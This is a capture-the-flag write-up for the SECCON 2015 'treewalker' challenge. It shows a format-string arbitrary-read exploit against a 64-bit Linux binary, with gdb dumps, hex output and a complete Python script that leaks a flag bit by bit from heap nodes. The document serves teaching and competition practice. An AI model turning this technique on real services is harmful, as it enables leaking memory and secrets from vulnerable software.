SECCON CTF exploit - treewalker 200
@mrexcessive @ WHA
SECCON CTF 2015
exploit treewalker
The problem
FSB: TreeWalker treewalker.pwn.seccon.jp 20000 200 points 64bit C linux program Pwnable Exploit binary provided no source
The solution
Getting set up: download binary && file && objdump -d && strings && readelf
$ file treewalker treewalker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xc0b5c600ab3f832132639f61e4b914f3e3b99658, not stripped
dynamic libc
See what protection it has:
$ sudo ~/CTFs/tools/checksec.sh --file treewalker RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH treewalker
No PIE... so probably return to function or ROP
There is a read_flag() function @0x400af0
Run it up locally using socat, so I can attach debugger when required.
$ socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./treewalker
Looks as though it is giving us data address on connect
0000000002345010
Working through assembler output produced by objdump
My commented .asm here https://gist.github.com/mrexcessive/16a335320fdb057bf542
We can read address of esp+0x10, then a buffer can be written to at esp+0x50
(so +x40 ahead of the address which we were told)
We can send in a p64(length) max 0x1000 followed by exactly that number of bytes
The bytes are written to buffer 0f 0x1000 (max) bytes and then printf(buffer) is executed
We can construct something to abuse the vulnerable printf()
Now, is there something simpler than trying to get shell..., the flag is in memory and we have a printf(
$ ./pwnserver.py Attach debugger then press0000000002345010 Got address 2345010 %p %p %p %p 0xc 0x7f10da49d5c0 0x1 0x7fffcb87b8d0
OK, nice! We are reading back through the vulnerable printf(), in comparison with GDB locally...
;Parameters read by '%p' and printf() ;[1] == 0x7f10da49d5c0 is libc address read()+0x10 ;[3] == 0x7fffcb87b8d0 is a stack address: gdb-peda$ x/64xw 0x7fffcb87b800 0x7fffcb87b800: 0x02345010 0x00000000 0xda3d1bb0 0x00007f10 0x7fffcb87b810: 0xcb87b890 0x00007fff >0xda438679 0x00007f10< >< is $rsp 0x7fffcb87b820: 0xda7684e0 0x00007f10 0x00000008 0x00000000 0x7fffcb87b830: 0x00000008 0x00000000 0x00000001 0x00000000 0x7fffcb87b840: 0x00000000 0x00000000 0xda42e54f 0x00007f10 0x7fffcb87b850: 0xcb87b8d0 0x00007fff 0xcb87b890 0x00007fff 0x7fffcb87b860: 0x00000000 0x00000000 0x0040093d 0x00000000 0x7fffcb87b870: 0xcb87c9b0 0x00007fff 0x004008da 0x00000000 0x7fffcb87b880: 0x00000000 0x00000000 0x00000a20 0x00000000 0x7fffcb87b890: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x7fffcb87b8a0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x7fffcb87b8b0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x7fffcb87b8c0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x7fffcb87b8d0: [0x2070250a 0x25207025 0x70252070 0x00000000] [] is leaked address 0x7fffcb87b8e0: 0x00000000 0x00000000 0x00000000 0x00000000 == %p %p %p %p\n 0x7fffcb87b8f0: 0x00000000 0x00000000 0x00000000 0x00000000 gdb-peda$ print $rsp $2 = (void *) 0x7fffcb87b818
The question now is...
is the flag value somewhere retrievable
Lets set it to something very easy to find... AAAABBBBCCCCDDDDEEEE
It is being stored into the buffer at the address which the program announces, but the buffering is pretty complicated, lots of calloc() calls. Need to understand how that works.
It looks as though it is pulling the flag.txt contents apart bit by bit with a separate calloc() of 0x18 bytes for each bit.
To read the flag, we need to construct a pointer to that data, in a location accessible by the printf() exploit, then assemble the complete flag from the bits somehow.
ToDo list:
- Find out buffer address [ first job ]
- Setup start reveal address to the one we are given:
- Then repeat:
- construct pointer...
- Construct reveal using %s through pointer
- Execute
- Next address (+0x18)
And the small matter of working out how to interpret the bits data where the flag is spread across all those calloc() calls.
Well that's annoying, can't use %4$p syntax to 'jump' to 4th parameter..
*** invalid %N$ use detected ***
So... %p%p%p%p it is then...
I spend some time repeatedly coming a cropper on
vulnserver.c(77): Invalid input
Which is reported on the local server. I'm getting the length parameter wrong, which takes a while to fix.
The program requires us to send an 8 byte binary value which is interpreted as a little-endian long long. Then you have to send that exact number of bytes... without any \0 bytes at all
We can't include \0 because strlen() is used to determine the length of the block of bytes... and it only reads in the number of bytes which it is told to read.
Therefore the pointer needs to be at the end of the input data... because it is little-endian machine the LSBs can be sent and the other bytes of the address left as zeros.
We can do this because two chars of buffer input "%p" will pull an 8 byte parameter. Even though the end of the input data moves forward along the buffer, it only moves forward by 2 characters for every 8 bytes of forward movement... we can catch up with ourselves...
After some fiddling around... I have this code (fragment)
skipToStart = "%p"*15 # 15 to start of the input buffer skip32percentP = "%p"*4 # this has to be mod8 == 0, skip over the %p fetchData = "%s" # read the pointer XXX for now, replace %s #We write &abuf second... because \0 will break things... readthrough = p64(abuf) r = SendExploit(skipToStart + skip32percentP + fetchData + readthrough)
So now getting this:
$ ./pwnserver.py Attach debugger then press0000000000d38010 Sending: 25 70 20 25 70 20 25 70 - 20 25 70 20 %p.%p.%p.%p. Length: 13 %p %p %p %p 0xd 0x7f2cd47445c0 0x1 0x7fff124c84d0 Got buffer= d38010, input= 7fff124c84d0 readthrough= 10 80 d3 00 00 00 00 00 - ........ Sending: 25 70 25 70 25 70 25 70 - 25 70 25 70 25 70 25 70 %p%p%p%p%p%p%p%p 25 70 25 70 25 70 25 70 - 25 70 25 70 25 70 25 70 %p%p%p%p%p%p%p%p 25 70 25 70 25 70 25 73 - 10 80 d3 00 00 00 00 00 %p%p%p%s........ Length: 49 1%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%s�� 30 78 33 31 30 78 37 66 - 32 63 64 34 37 34 34 35 0x310x7f2cd47445 63 30 30 78 31 30 78 37 - 66 66 66 31 32 34 63 38 c00x10x7fff124c8 34 64 30 28 6e 69 6c 29 - 30 78 33 31 30 78 63 63 4d0(nil)0x310xcc 63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 30 78 cccccccccccccc0x 63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63 cccccccccccccccc 30 78 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63 0xcccccccccccccc 63 63 30 78 63 63 63 63 - 63 63 63 63 63 63 63 63 cc0xcccccccccccc 63 63 63 63 30 78 63 63 - 63 63 63 63 63 63 63 63 cccc0xcccccccccc 63 63 63 63 63 63 30 78 - 63 63 63 63 63 63 63 63 cccccc0xcccccccc 63 63 63 63 63 63 63 63 - 30 78 63 63 63 63 63 63 cccccccc0xcccccc 63 63 63 63 63 63 63 63 - 63 63 30 78 63 63 63 63 cccccccccc0xcccc 63 63 63 63 63 63 63 63 - 63 63 63 63 30 78 37 30 cccccccccccc0x70 32 35 37 30 32 35 37 30 - 32 35 37 30 32 35 30 78 257025702570250x 37 30 32 35 37 30 32 35 - 37 30 32 35 37 30 32 35 7025702570257025 30 78 37 30 32 35 37 30 - 32 35 37 30 32 35 37 30 0x70257025702570 32 35 30 78 37 30 32 35 - 37 30 32 35 37 30 32 35 250x702570257025 37 30 32 35 30 78 37 33 - 32 35 37 30 32 35 37 30 70250x7325702570 32 35 37 30 32 35 49 10 - 80 d3 257025I...
That 'I' is first bit... Nice !
I let it run...
A boring flag so far...
All bits = [IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIL555555555555555555555555555555555555555 555555555555555555555555555555555555555555555555555555555555555555555]
OK I've misunderstood something about how it hides the flag: Always getting 'I' I need another read on the binary data.
Some staring at the code for construct_tree(), and this memory dump from near start of flag calloc()'d space.
0x24b9410: 0x00000049 0x00000000 0x00000000 0x00000000 0x24b9420: 0x024b9430 0x00000000 0x00000021 0x00000000 0x24b9430: 0x00000049 0x00000000 0x024b9450 0x00000000 0x24b9440: 0x00000000 0x00000000 0x00000021 0x00000000 0x24b9450: 0x00000049 0x00000000 0x00000000 0x00000000 0x24b9460: 0x024b9470 0x00000000 0x00000021 0x00000000 0x24b9470: 0x00000049 0x00000000 0x00000000 0x00000000 0x24b9480: 0x024b9490 0x00000000 0x00000021 0x00000000 0x24b9490: 0x00000049 0x00000000 0x00000000 0x00000000 0x24b94a0: 0x024b94b0 0x00000000 0x00000021 0x00000000 0x24b94b0: 0x00000049 0x00000000 0x00000000 0x00000000 0x24b94c0: 0x024b94d0 0x00000000 0x00000021 0x00000000 0x24b94d0: 0x00000049 0x00000000 0x024b94f0 0x00000000 0x24b94e0: 0x00000000 0x00000000 0x00000021 0x00000000 0x24b94f0: 0x00000049 0x00000000 0x00000000 0x00000000 0x24b9500: 0x024b9510 0x00000000 0x00000021 0x00000000
Can you see it ?
That is the letter 'B' which was in my dummy/local flag.txt
Each memory allocation is 0x18 bytes... but in memory they are 0x20 bytes apart - because of the control structures for the calloc() and/or alignment issues.
The 0x49 'I' characters are at the start of each of the allocations... that is clear from the .asm code (see gist link at top).
zero-bit is being stored => contents of [allocation+8] is zero (0x00000000)
one-bit is being stored => contents of [allocation+8] is a pointer
to the next allocation (eg [0x24b9438 above points to 0x24b9450] )
So reading down... above we have 0100 0010 == 0x42 == 'B'
We can construct a pointer to read the value at that location, instead of using %p to print the value of the pointer, we can use %s to print the contents of the string at that location. We will either get NO extra bytes of data in our output, or 3 or 4 extra bytes (depending on the buffer address - which varies).
I end up printing from an offset of +9, because I can see that the byte at [+8] will be \0 every eighth calloc() - because it is the LSB of the next calloc() and they are 32-byte aligned
It works locally.. and remotely !
After about 5 minutes I have this flag...
30 78 33 31 30 78 37 66 - 35 32 37 35 31 63 33 35 0x310x7f52751c35 63 30 30 78 31 30 78 37 - 66 66 64 33 33 30 33 33 c00x10x7ffd33033 32 39 30 28 6e 69 6c 29 - 30 78 33 31 30 78 63 63 290(nil)0x310xcc 63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 30 78 cccccccccccccc0x 63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63 cccccccccccccccc 30 78 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63 0xcccccccccccccc 63 63 30 78 63 63 63 63 - 63 63 63 63 63 63 63 63 cc0xcccccccccccc 63 63 63 63 30 78 63 63 - 63 63 63 63 63 63 63 63 cccc0xcccccccccc 63 63 63 63 63 63 30 78 - 63 63 63 63 63 63 63 63 cccccc0xcccccccc 63 63 63 63 63 63 63 63 - 30 78 63 63 63 63 63 63 cccccccc0xcccccc 63 63 63 63 63 63 63 63 - 63 63 30 78 63 63 63 63 cccccccccc0xcccc 63 63 63 63 63 63 63 63 - 63 63 63 63 30 78 37 30 cccccccccccc0x70 32 35 37 30 32 35 37 30 - 32 35 37 30 32 35 30 78 257025702570250x 37 30 32 35 37 30 32 35 - 37 30 32 35 37 30 32 35 7025702570257025 30 78 37 30 32 35 37 30 - 32 35 37 30 32 35 37 30 0x70257025702570 32 35 30 78 37 30 32 35 - 37 30 32 35 37 30 32 35 250x702570257025 37 30 32 35 30 78 37 33 - 32 35 37 30 32 35 37 30 70250x7325702570 32 35 37 30 32 35 79 0b - b0 01 257025y... Len = 282 Got bit [0] All bits = [0000] All chars = [SECCON{4rb17R@rXeAd}]
That flag doesn't work though !
However it must be almost right... there's nothing in the code to start encrypting or obfuscating the flag value after storing the first '{'
I re-run the exploit using a slightly longer timeout for the read - instead of 1 second use 1.5
Now I get this
Length: 49 30 78 33 31 30 78 37 66 - 38 35 38 31 32 39 37 35 0x310x7f85812975 63 30 30 78 31 30 78 37 - 66 66 65 66 32 36 36 31 c00x10x7ffef2661 63 65 30 28 6e 69 6c 29 - 30 78 33 31 30 78 63 63 ce0(nil)0x310xcc 63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 30 78 cccccccccccccc0x 63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63 cccccccccccccccc 30 78 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63 0xcccccccccccccc 63 63 30 78 63 63 63 63 - 63 63 63 63 63 63 63 63 cc0xcccccccccccc 63 63 63 63 30 78 63 63 - 63 63 63 63 63 63 63 63 cccc0xcccccccccc 63 63 63 63 63 63 30 78 - 63 63 63 63 63 63 63 63 cccccc0xcccccccc 63 63 63 63 63 63 63 63 - 30 78 63 63 63 63 63 63 cccccccc0xcccccc 63 63 63 63 63 63 63 63 - 63 63 30 78 63 63 63 63 cccccccccc0xcccc 63 63 63 63 63 63 63 63 - 63 63 63 63 30 78 37 30 cccccccccccc0x70 32 35 37 30 32 35 37 30 - 32 35 37 30 32 35 30 78 257025702570250x 37 30 32 35 37 30 32 35 - 37 30 32 35 37 30 32 35 7025702570257025 30 78 37 30 32 35 37 30 - 32 35 37 30 32 35 37 30 0x70257025702570 32 35 30 78 37 30 32 35 - 37 30 32 35 37 30 32 35 250x702570257025 37 30 32 35 30 78 37 33 - 32 35 37 30 32 35 37 30 70250x7325702570 32 35 37 30 32 35 19 e6 - fd 01 257025.... Len = 282 Got bit [0] All bits = [0] All chars = [SECCON{4rb17R@rYReAd}]
Correct flag... Result!
SECCON{4rb17R@rYReAd}
Exploit code:
def DoConnect(): global s s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER,PORT)) assert(s <> None) def GetResponse(expect="",timeout=1.5): global s, old_data s.setblocking(0) total_data=old_data begin = time.time() while True: if total_data <> "" and time.time() - begin > timeout: # wait timeout sec if we have something break elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing break try: data = s.recv(1024) if data: total_data += data if expect in total_data: total_data, old_data = total_data.split(expect,1) total_data += expect break begin = time.time() else: time.sleep(0.01) except: pass return total_data def Send(v): if debug: sys.stdout.write(v) sys.stdout.flush() s.sendall(v) def SendExploit(exploit): print "Sending:" if debug: HexPrint(exploit) l = len(exploit) + 1 print "Length: %i" % l Send(p64(l)) Send(exploit + "\n") r = GetResponse() return r def DiscoverAddresses(): r = GetResponse() if debug: print r addr_buffer = int(r,16) # we are given this for free # get the address of stack (== character input buffer) r = SendExploit("%p %p %p %p ") if debug: print(r) # we can't use %N$ syntax... sigh... nums = r.split(" ") addr_stack = int(nums[3][2:],16) # skip the "0x" return (addr_buffer, addr_stack) def PwnServer(): (abuf, astack) = DiscoverAddresses() print "Got buffer=%16x, input=%16x" % (abuf, astack) abuf += 9 # start scan one byte into pointer|null address chars = "" bits = "" while True: #So... we can write any value to the first 8 bytes of input buffer # (except \n or % sequences, I guess) skipToStart = "%p"*15 # 15 to start of the input buffer skip32percentP = "%p"*4 # this has to be mod8 == 0, skip over the %p fetchData = "%s" # read the pointer XXX for now, replace %s #We write &abuf second... because \0 will break things... readthrough = p64(abuf) print "readthrough=" r = SendExploit(skipToStart + skip32percentP + fetchData + readthrough) if True or debug: HexPrint(r) print "Len = %i" % len(r) if len(r) < 284: bit = "0" else: bit = "1" print "Got bit [%s]" % bit bits += bit print "All bits = [%s]" % bits if len(bits) == 8: chars += chr(int(bits,2)) bits = "" print "All chars = [%s]" % chars abuf += 0x20 if __name__ == "__main__": vars = globals() vars.update(locals()) readline.set_completer(rlcompleter.Completer(vars).complete) readline.parse_and_bind("tab: complete") shell = code.InteractiveConsole(vars) # any startups DoConnect() if localtest and pauseDebugging: print "Attach debugger then press" raw_input() PwnServer()